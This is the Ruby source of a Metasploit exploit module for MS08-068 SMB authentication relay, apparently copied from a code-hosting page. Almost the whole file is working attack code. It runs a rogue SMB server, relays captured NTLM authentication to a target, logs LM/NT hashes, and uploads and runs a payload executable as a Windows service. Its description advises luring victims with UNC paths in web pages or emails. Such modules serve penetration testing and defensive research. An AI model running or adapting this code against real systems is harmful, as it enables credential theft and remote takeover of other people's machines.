760 lines
23 KiB
Ruby
760 lines
23 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
=begin
|
|
Windows XP systems that are not part of a domain default to treating all
|
|
network logons as if they were Guest. This prevents SMB relay attacks from
|
|
gaining administrative access to these systems. This setting can be found
|
|
under:
|
|
|
|
Local Security Settings >
|
|
Local Policies >
|
|
Security Options >
|
|
Network Access: Sharing and security model for local accounts
|
|
=end
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::SMB::Server
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
|
|
'Description' => %q{
|
|
This module will relay SMB authentication requests to another
|
|
host, gaining access to an authenticated SMB session if successful.
|
|
If the connecting user is an administrator and network logins are
|
|
allowed to the target machine, this module will execute an arbitrary
|
|
payload. To exploit this, the target system must try to authenticate
|
|
to this module. The easiest way to force a SMB authentication attempt
|
|
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
|
|
email message. When the victim views the web page or email, their
|
|
system will automatically connect to the server specified in the UNC
|
|
share (the IP address of the system running this module) and attempt
|
|
to authenticate. Unfortunately, this
|
|
module is not able to clean up after itself. The service and payload
|
|
file listed in the output will need to be manually removed after access
|
|
has been gained. The service created by this tool uses a randomly chosen
|
|
name and description, so the services list can become cluttered after
|
|
repeated exploitation.
|
|
|
|
The SMB authentication relay attack was first reported by Sir Dystic on
|
|
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
|
|
|
|
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
|
|
includes a patch which prevents the relaying of challenge keys back to
|
|
the host which issued them, preventing this exploit from working in
|
|
the default configuration. It is still possible to set the SMBHOST
|
|
parameter to a third-party host that the victim is authorized to access,
|
|
but the "reflection" attack has been effectively broken.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'hdm', # All the work
|
|
'juan vazquez' # Add NTLMSSP support to the exploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'DisableNops' => true,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-4037'],
|
|
[ 'MSB', 'MS08-068'],
|
|
[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
|
|
[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
|
],
|
|
'Arch' => [ARCH_X86, ARCH_X86_64],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DisclosureDate' => 'Mar 31 2001',
|
|
'DefaultTarget' => 0 ))
|
|
|
|
register_options(
|
|
[
|
|
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
|
|
OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ])
|
|
], self.class )
|
|
end
|
|
|
|
|
|
if (not const_defined?('NDR'))
|
|
NDR = Rex::Encoder::NDR
|
|
end
|
|
|
|
def smb_haxor(c)
|
|
smb = @state[c]
|
|
rclient = smb[:rclient]
|
|
|
|
if (@pwned[smb[:rhost]])
|
|
print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
|
|
return
|
|
end
|
|
|
|
unless smb[:ntlmssp] || rclient.client.auth_user
|
|
print_line(" ")
|
|
print_error(
|
|
"FAILED! The remote host has only provided us with Guest privileges. " +
|
|
"Please make sure that the correct username and password have been provided. " +
|
|
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
|
"to network logins by default."
|
|
)
|
|
print_line(" ")
|
|
return
|
|
end
|
|
|
|
print_status("Connecting to the defined share...")
|
|
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
|
|
|
|
@pwned[smb[:rhost]] = true
|
|
|
|
print_status("Regenerating the payload...")
|
|
code = regenerate_payload(smb[:rsock])
|
|
|
|
# Upload the shellcode to a file
|
|
print_status("Uploading payload...")
|
|
|
|
filename = rand_text_alpha(8) + ".exe"
|
|
servicename = rand_text_alpha(8)
|
|
|
|
fd = rclient.open("\\#{filename}", 'rwct')
|
|
|
|
begin
|
|
exe = ''
|
|
opts = {
|
|
:servicename => servicename,
|
|
:code => code.encoded
|
|
}
|
|
if (datastore['PAYLOAD'].include? 'x64')
|
|
opts.merge!({ :arch => ARCH_X64 })
|
|
end
|
|
exe = generate_payload_exe_service(opts)
|
|
|
|
fd << exe
|
|
ensure
|
|
fd.close if fd
|
|
end
|
|
|
|
print_status("Created \\#{filename}...")
|
|
|
|
# Disconnect from the SHARE
|
|
rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
|
|
|
|
print_status("Connecting to the Service Control Manager...")
|
|
rclient.connect("\\\\#{smb[:rhost]}\\IPC$")
|
|
|
|
dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
|
|
|
|
##
|
|
# OpenSCManagerW()
|
|
##
|
|
|
|
print_status("Obtaining a service manager handle...")
|
|
scm_handle = nil
|
|
stubdata =
|
|
NDR.uwstring("\\\\#{smb[:rhost]}") +
|
|
NDR.long(0) +
|
|
NDR.long(0xF003F)
|
|
begin
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
##
|
|
# CreateServiceW()
|
|
##
|
|
|
|
servicename = rand_text_alpha(8)
|
|
displayname = rand_text_alpha(rand(32)+1)
|
|
svc_handle = nil
|
|
svc_status = nil
|
|
|
|
print_status("Creating a new service...")
|
|
stubdata =
|
|
scm_handle +
|
|
NDR.wstring(servicename) +
|
|
NDR.uwstring(displayname) +
|
|
|
|
NDR.long(0x0F01FF) + # Access: MAX
|
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
|
NDR.long(0x00000003) + # Start: Demand
|
|
NDR.long(0x00000000) + # Errors: Ignore
|
|
|
|
NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
|
|
NDR.long(0) + # LoadOrderGroup
|
|
NDR.long(0) + # Dependencies
|
|
NDR.long(0) + # Service Start
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) # Password
|
|
begin
|
|
response = dcerpc.call(0x0c, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
svc_status = dcerpc.last_response.stub_data[24,4]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
|
|
##
|
|
# CloseHandle()
|
|
##
|
|
print_status("Closing service handle...")
|
|
begin
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
rescue ::Exception
|
|
end
|
|
|
|
##
|
|
# OpenServiceW
|
|
##
|
|
print_status("Opening service...")
|
|
begin
|
|
stubdata =
|
|
scm_handle +
|
|
NDR.wstring(servicename) +
|
|
NDR.long(0xF01FF)
|
|
|
|
response = dcerpc.call(0x10, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
##
|
|
# StartService()
|
|
##
|
|
print_status("Starting the service...")
|
|
stubdata =
|
|
svc_handle +
|
|
NDR.long(0) +
|
|
NDR.long(0)
|
|
begin
|
|
response = dcerpc.call(0x13, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
end
|
|
rescue ::Exception => e
|
|
return
|
|
#print_error("Error: #{e}")
|
|
end
|
|
|
|
##
|
|
# DeleteService()
|
|
##
|
|
print_status("Removing the service...")
|
|
stubdata =
|
|
svc_handle
|
|
begin
|
|
response = dcerpc.call(0x02, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
end
|
|
|
|
##
|
|
# CloseHandle()
|
|
##
|
|
print_status("Closing service handle...")
|
|
begin
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
end
|
|
|
|
rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")
|
|
|
|
print_status("Deleting \\#{filename}...")
|
|
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
|
|
rclient.delete("\\#{filename}")
|
|
end
|
|
|
|
|
|
def smb_dcerpc(c, uuid, version, pipe)
|
|
smb = @state[c]
|
|
opts = {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
'smb_pipeio' => 'rw',
|
|
'smb_client' => smb[:rclient]
|
|
}
|
|
|
|
handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])
|
|
dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)
|
|
end
|
|
|
|
|
|
def smb_cmd_dispatch(cmd, c, buff)
|
|
smb = @state[c]
|
|
|
|
@pwned ||= {}
|
|
|
|
case cmd
|
|
when CONST::SMB_COM_NEGOTIATE
|
|
smb_cmd_negotiate(c, buff)
|
|
|
|
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
smb_cmd_session_setup(c, buff)
|
|
|
|
when CONST::SMB_COM_TREE_CONNECT
|
|
print_status("Denying tree connect from #{smb[:name]}")
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
pkt['Payload']['SMB'].v['Command'] = cmd
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
|
|
c.put(pkt.to_s)
|
|
|
|
else
|
|
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
pkt['Payload']['SMB'].v['Command'] = cmd
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
|
|
c.put(pkt.to_s)
|
|
end
|
|
end
|
|
|
|
def smb_cmd_negotiate(c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_NEG_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
# Record the remote process ID
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
|
|
flags2 = pkt['Payload']['SMB'].v['Flags2']
|
|
extended_security = (flags2 & 0x800 == 0x800)
|
|
|
|
group = ''
|
|
machine = smb[:nbsrc]
|
|
|
|
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
|
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
|
|
|
|
dialect =
|
|
dialects.index("NT LM 0.12") ||
|
|
dialects.length-1
|
|
|
|
# Dialect selected, now we try to the target system
|
|
target_host = datastore['SMBHOST']
|
|
if (not target_host or target_host.strip.length == 0)
|
|
target_host = smb[:ip]
|
|
end
|
|
|
|
# If extended security isn't supported or we're trying reflection
|
|
# ntlmv1 should be used, otherwise, use ntlmssp
|
|
if extended_security && target_host != smb[:ip]
|
|
smb[:ntlmssp] = true
|
|
negotiate_ntlmssp(smb, target_host)
|
|
else
|
|
smb[:ntlmssp] = false
|
|
negotiate_ntlmv1(smb, target_host)
|
|
end
|
|
|
|
rclient = smb[:rclient]
|
|
|
|
# Negotiation has failed, just return
|
|
unless rclient && rclient.client
|
|
return
|
|
end
|
|
|
|
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
|
smb_set_defaults(c, pkt)
|
|
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001
|
|
pkt['Payload']['SMB'].v['WordCount'] = 17
|
|
pkt['Payload'].v['Dialect'] = dialect
|
|
pkt['Payload'].v['SecurityMode'] = 3
|
|
pkt['Payload'].v['MaxMPX'] = 2
|
|
pkt['Payload'].v['MaxVCS'] = 1
|
|
pkt['Payload'].v['MaxBuff'] = 4356
|
|
pkt['Payload'].v['MaxRaw'] = 65536
|
|
pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd
|
|
pkt['Payload'].v['ServerTime'] = time_lo
|
|
pkt['Payload'].v['ServerDate'] = time_hi
|
|
pkt['Payload'].v['Timezone'] = 0x0
|
|
pkt['Payload'].v['SessionKey'] = 0
|
|
if smb[:ntlmssp]
|
|
pkt['Payload'].v['KeyLength'] = 0
|
|
pkt['Payload'].v['Payload'] =
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID
|
|
Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp
|
|
else
|
|
pkt['Payload'].v['KeyLength'] = 8
|
|
pkt['Payload'].v['Payload'] =
|
|
rclient.client.challenge_key +
|
|
Rex::Text.to_unicode(group) + "\x00\x00" +
|
|
Rex::Text.to_unicode(machine) + "\x00\x00"
|
|
end
|
|
c.put(pkt.to_s)
|
|
end
|
|
|
|
def negotiate_ntlmv1(smb, target_host)
|
|
rsock = nil
|
|
rport = nil
|
|
[445, 139].each do |rport_|
|
|
rport = rport_
|
|
begin
|
|
rsock = Rex::Socket::Tcp.create(
|
|
'PeerHost' => target_host,
|
|
'PeerPort' => rport,
|
|
'Timeout' => 3,
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
)
|
|
break if rsock
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
|
|
end
|
|
end
|
|
|
|
unless rsock
|
|
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
|
|
return
|
|
end
|
|
|
|
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
|
|
|
|
begin
|
|
rclient.login_split_start_ntlm1(smb[:nbsrc])
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
|
|
raise e
|
|
end
|
|
|
|
unless rclient.client.challenge_key
|
|
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
|
|
rsock.close
|
|
return
|
|
end
|
|
|
|
if smb[:rsock]
|
|
smb[:rsock].close
|
|
end
|
|
|
|
smb[:rsock] = rsock
|
|
smb[:rclient] = rclient
|
|
smb[:rhost] = target_host
|
|
end
|
|
|
|
def negotiate_ntlmssp(smb, target_host)
|
|
rsock = nil
|
|
rport = 445
|
|
|
|
begin
|
|
rsock = Rex::Socket::Tcp.create(
|
|
'PeerHost' => target_host,
|
|
'PeerPort' => rport,
|
|
'Timeout' => 3,
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
)
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
|
|
end
|
|
|
|
unless rsock
|
|
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
|
|
return
|
|
end
|
|
|
|
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true)
|
|
|
|
rclient.client.negotiate(true) # extended security true
|
|
|
|
unless rclient.client.server_guid
|
|
print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
|
|
rsock.close
|
|
return
|
|
end
|
|
|
|
# If in the answer the Extended Security Negotiation (Flags2) is set
|
|
# we need to proceed like that!
|
|
rclient.client.require_signing = false
|
|
|
|
if (smb[:rsock])
|
|
smb[:rsock].close
|
|
end
|
|
|
|
smb[:rsock] = rsock
|
|
smb[:rclient] = rclient
|
|
smb[:rhost] = target_host
|
|
end
|
|
|
|
def smb_cmd_session_setup(c, buff)
|
|
smb = @state[c]
|
|
if smb[:ntlmssp]
|
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
|
else
|
|
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
|
end
|
|
pkt.from_s(buff)
|
|
|
|
capabilities = pkt['Payload'].v['Capabilities']
|
|
extended_security = (capabilities & 0x80000000 == 0x80000000)
|
|
if extended_security
|
|
smb_cmd_session_setup_ntlmssp(c, buff)
|
|
else
|
|
smb_cmd_session_setup_ntlmv1(c, buff)
|
|
end
|
|
end
|
|
|
|
def smb_cmd_session_setup_ntlmv1(c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
|
|
# Record the remote multiplex ID
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
lm_len = pkt['Payload'].v['PasswordLenLM']
|
|
nt_len = pkt['Payload'].v['PasswordLenNT']
|
|
|
|
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
|
|
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
|
|
|
|
|
buff = pkt['Payload'].v['Payload']
|
|
buff.slice!(0, lm_len + nt_len)
|
|
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
smb[:username] = names[0]
|
|
smb[:domain] = names[1]
|
|
smb[:peer_os] = names[2]
|
|
smb[:peer_lm] = names[3]
|
|
|
|
|
|
# Clean up the data for loggging
|
|
if (smb[:username] == "")
|
|
smb[:username] = nil
|
|
end
|
|
|
|
if (smb[:domain] == "")
|
|
smb[:domain] = nil
|
|
end
|
|
|
|
print_status(
|
|
"Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
|
|
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
|
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
|
|
)
|
|
|
|
if (lm_hash == "" or lm_hash == "00")
|
|
lm_hash = nil
|
|
end
|
|
|
|
if (nt_hash == "")
|
|
nt_hash = nil
|
|
end
|
|
|
|
if (lm_hash or nt_hash)
|
|
rclient = smb[:rclient]
|
|
print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...")
|
|
res = nil
|
|
|
|
begin
|
|
res = rclient.login_split_next_ntlm1(
|
|
smb[:username],
|
|
smb[:domain],
|
|
[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"),
|
|
[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*")
|
|
)
|
|
rescue XCEPT::LoginError
|
|
end
|
|
|
|
if res
|
|
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
|
|
smb_haxor(c)
|
|
else
|
|
print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
|
|
end
|
|
end
|
|
|
|
print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")
|
|
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
smb_set_defaults(c, pkt)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
|
|
c.put(pkt.to_s)
|
|
end
|
|
|
|
def smb_cmd_session_setup_ntlmssp(c, buff)
|
|
smb = @state[c]
|
|
buff_copy = buff.dup
|
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
|
pkt.from_s(buff_copy)
|
|
|
|
blob_length = pkt['Payload'].v['SecurityBlobLen']
|
|
blob = pkt['Payload'].v['Payload'][0, blob_length]
|
|
|
|
#detect if GSS is being used I need to fix this code.... but
|
|
if blob[0,7] == 'NTLMSSP'
|
|
c_gss = false
|
|
else
|
|
c_gss = true
|
|
start = blob.index('NTLMSSP')
|
|
if start
|
|
blob.slice!(0,start)
|
|
else
|
|
print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
end
|
|
ntlm_message = NTLM_MESSAGE::parse(blob)
|
|
|
|
case ntlm_message
|
|
when NTLM_MESSAGE::Type1
|
|
smb_cmd_ntlmssp_negotiate(c, buff)
|
|
when NTLM_MESSAGE::Type3
|
|
smb_cmd_ntlmssp_auth(c, buff)
|
|
else
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
end
|
|
|
|
def smb_cmd_ntlmssp_negotiate(c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
|
|
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
|
|
|
|
print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}")
|
|
rclient = smb[:rclient]
|
|
|
|
rclient.client.session_setup_with_ntlmssp_blob(security_blob, false)
|
|
|
|
print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}")
|
|
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
|
|
|
rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
|
|
|
|
security_blob_length = resp['Payload'].v['SecurityBlobLen']
|
|
security_blob = resp['Payload'].v['Payload'][0, security_blob_length]
|
|
|
|
print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}")
|
|
challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
|
|
smb_set_defaults(c, challenge)
|
|
|
|
native_data = ''
|
|
native_data << "Unix\x00" #Native OS
|
|
native_data << "Samba\x00" #Native LanMAN
|
|
|
|
challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
|
|
challenge['Payload']['SMB'].v['Flags1'] = 0x80
|
|
challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing
|
|
challenge['Payload']['SMB'].v['WordCount'] = 4
|
|
challenge['Payload'].v['AndX'] = 0xFF
|
|
challenge['Payload'].v['Reserved1'] = 0x00
|
|
challenge['Payload'].v['AndXOffset'] = 0
|
|
challenge['Payload'].v['Action'] = 0x0000
|
|
challenge['Payload'].v['SecurityBlobLen'] = security_blob_length
|
|
challenge['Payload'].v['Payload'] = security_blob + native_data
|
|
c.put(challenge.to_s)
|
|
end
|
|
|
|
def smb_cmd_ntlmssp_auth(c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response")
|
|
|
|
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
|
|
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
|
|
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
|
|
print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}")
|
|
rclient = smb[:rclient]
|
|
|
|
rclient.client.session_setup_with_ntlmssp_blob(
|
|
security_blob,
|
|
false,
|
|
rclient.client.auth_user_id
|
|
)
|
|
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
|
|
|
#check if auth was successful
|
|
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
|
|
print_good("SMB auth relay against #{smb[:rhost]} succeeded")
|
|
smb_haxor(c)
|
|
else
|
|
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
|
|
failure.word_count = resp['Payload']['SMB'].v['WordCount']
|
|
failure.command = resp['Payload']['SMB'].v['Command']
|
|
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
|
|
raise failure
|
|
end
|
|
end
|
|
|
|
end
|